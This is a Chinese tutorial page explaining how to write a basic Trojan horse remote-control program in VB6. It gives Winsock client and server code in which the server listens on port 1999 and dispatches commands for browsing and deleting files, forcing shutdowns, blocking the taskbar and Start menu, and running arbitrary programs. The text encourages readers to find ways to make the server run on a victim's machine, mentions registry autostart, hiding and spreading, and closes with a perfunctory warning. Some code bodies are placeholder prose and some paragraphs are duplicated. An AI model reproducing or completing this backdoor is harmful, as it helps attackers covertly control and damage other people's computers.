明輝手游網中心:是一個免費提供流行視頻軟件教程、在線學習分享的學習平臺!

用VB6.0編寫“特洛伊木馬”程序

[摘要]“特洛伊木馬”有被稱為BO, 是在美國一次黑客技術討論會上由一個黑客組織推出的。 它其實是一種客戶機/服務器程序, 其利用的原理就是:在本機直接啟動運行的...

“特洛伊木馬”有被稱為BO, 是在美國一次黑客技術討論會上由一個黑客組織推出的。 它其實是一種客戶機/服務器程序, 其利用的原理就是:在本機直接啟動運行的程序擁有與使用者相同的權限。 因此如果能夠啟動服務器端(即被攻擊的計算機)的服務器程序, 就可以使用相應的客戶端工具客戶程序直接控制它了。 下面來談談如何用VB來實現(xiàn)它。

  使用VB建立兩個程序, 一個為客戶端程序Client, 一個為服務器端程序systry。

   在Client工程中建立一個窗體, 加載WinSock控件, 稱為tcpClient, 協(xié)議選擇TCP, 再加入兩個文本框, 用以輸入服務器的IP地址或服務器名, 然后建立一個按鈕, 按下之后就可以對連接進行初始化了, 代碼如下:

Private Sub cmdConnect_Click()

  If Len(Text1.Text) = 0 And Len(Text2.Text) = 0 Then

   MsgBox ("請輸入主機名或主機IP地址。 ")

   Exit Sub

  Else

   If Len(Text1.Text) > 0 Then

    tcpClient.RemoteHost = Text1.Text

   Else

    tcpClient.RemoteHost = Text2.Text

   End If

  End If

  tcpClient.Connect

  Timer1.Enabled = True

End Sub

  連接建立之后就可以使用DataArrival事件處理所收到的數(shù)據(jù)了。

  連接建立之后就可以使用DataArrival事件處理所收到的數(shù)據(jù)了。

  在服務器端systry工程也建立一個窗體, 加載WinSock控件, 稱為tcpServer, 協(xié)議選擇TCP, 在Form_Load事件中加入如下代碼:

Private Sub Form_Load()

  tcpServer.LocalPort = 1999

  tcpServer.Listen

End Sub

  準備應答客戶端程序的請求連接, 使用ConnectionRequest事件來應答戶端程序的請求, 代碼如下:

Private Sub tcpServer_ConnectionRequest

(ByVal requestID As Long)

  If tcpServer.State < > sckClosed Then

   tcpServer.Close‘檢查控件的 State 屬性是否為關閉的。

  End If ’如果不是, 在接受新的連接之前先關閉此連接。

  tcpServer.Accept requestID

End Sub

  這樣在客戶端程序按下了連接按鈕后, 服務器端程序的ConnectionRequest事件被觸發(fā), 執(zhí)行了以上的代碼。 如果不出意外, 連接就被建立起來了。

  建立連接后服務器端的程序通過DataArrival事件接收客戶機端程序所發(fā)的指令運行既定的程序。 如:把服務器端的驅動器名、目錄名、文件名等傳到客戶機端, 客戶機端接收后用TreeView控件以樹狀的形式顯示出來, 瀏覽服務器端文件目錄;強制關閉或重啟服務器端的計算機;屏蔽任務欄窗口;屏蔽開始菜單;按照客戶機端傳過來的文件名或目錄名, 而刪除它;屏蔽熱啟動鍵;運行服務器端的任何程序;還包括獲取目標計算機屏幕圖象、窗口及進程列表;激活、終止遠端進程;打開、關閉、移動遠端窗口;控制目標計算機鼠標的移動與動作;交換遠端鼠標的左右鍵;在目標計算機模擬鍵盤輸入, 下載、上裝文件;提取、創(chuàng)建、修改目標計算機系統(tǒng)注冊表關鍵字;在遠端屏幕上顯示消息。 DataArrival事件程序如下:

Private Sub tcpServer_DataArrival

(ByVal bytesTotal As Long)

  Dim strData As String

  Dim i As Long

  Dim mKey As String

  tcpServer.GetData strData

  ‘接收數(shù)據(jù)并存入strData

  For i = 1 To Len(strData)

   ‘分離strData中的命令

   If Mid(strData, i, 1) = "@" Then

    mKey = Left(strData, i - 1)

    ‘把命令ID號存入mKey

    ‘把命令參數(shù)存入strData

    strData = Right(strData, Len(strData) - i)

    Exit For

   End If

  Next i

  Select Case Val(mKey)

   Case 1

   ‘驅動器名、目錄名、文件名

   Case 2

    強制關閉服務器端的計算機

   Case 3

    強制重啟服務器端的計算機

   Case 4

    屏蔽任務欄窗口;

   Case 5

    屏蔽開始菜單;

   Case 6

    按照客戶機端傳過來的文件名或目錄名, 而刪除它;

   Case 7

    屏蔽熱啟動鍵;

   Case 8

    運行服務器端的任何程序

  End Select

End Sub

  詳細程序略。

  客戶機端用tcpClient.SendData發(fā)命令。 命令包括命令ID和命令參數(shù), 它們用符號“@”隔開。

  另外, 當客戶機端斷開與服務器端的來接后, 服務器端應用tcpServer_Close事件, 來繼續(xù)準備接收客戶機端的請求, 其代碼如下:

Private Sub tcpServer_Close()

tcpServer.Close

tcpServer.Listen

End Sub

  這就是一個最基本的特洛伊木馬程序, 只要你的機器運行了服務器端程序, 那別人就可以在千里之外控制你的計算機。 至于如何讓服務器端程序運行就要發(fā)揮你的聰明才智了, 在我的源程序中有一中方法, 是修改系統(tǒng)注冊表的方法。

  這就是一個最基本的特洛伊木馬程序, 只要你的機器運行了服務器端程序, 那別人就可以在千里之外控制你的計算機。 至于如何讓服務器端程序運行就要發(fā)揮你的聰明才智了, 在我的源程序中有一中方法, 是修改系統(tǒng)注冊表的方法。

  成功的特洛伊木馬程序要比這個復雜一些, 還有程序的隱藏、自動復制、傳播等問題要解決。 警告:千萬不要用BO程序破壞別人的系統(tǒng)。


上面是電腦上網安全的一些基礎常識,學習了安全知識,幾乎可以讓你免費電腦中毒的煩擾。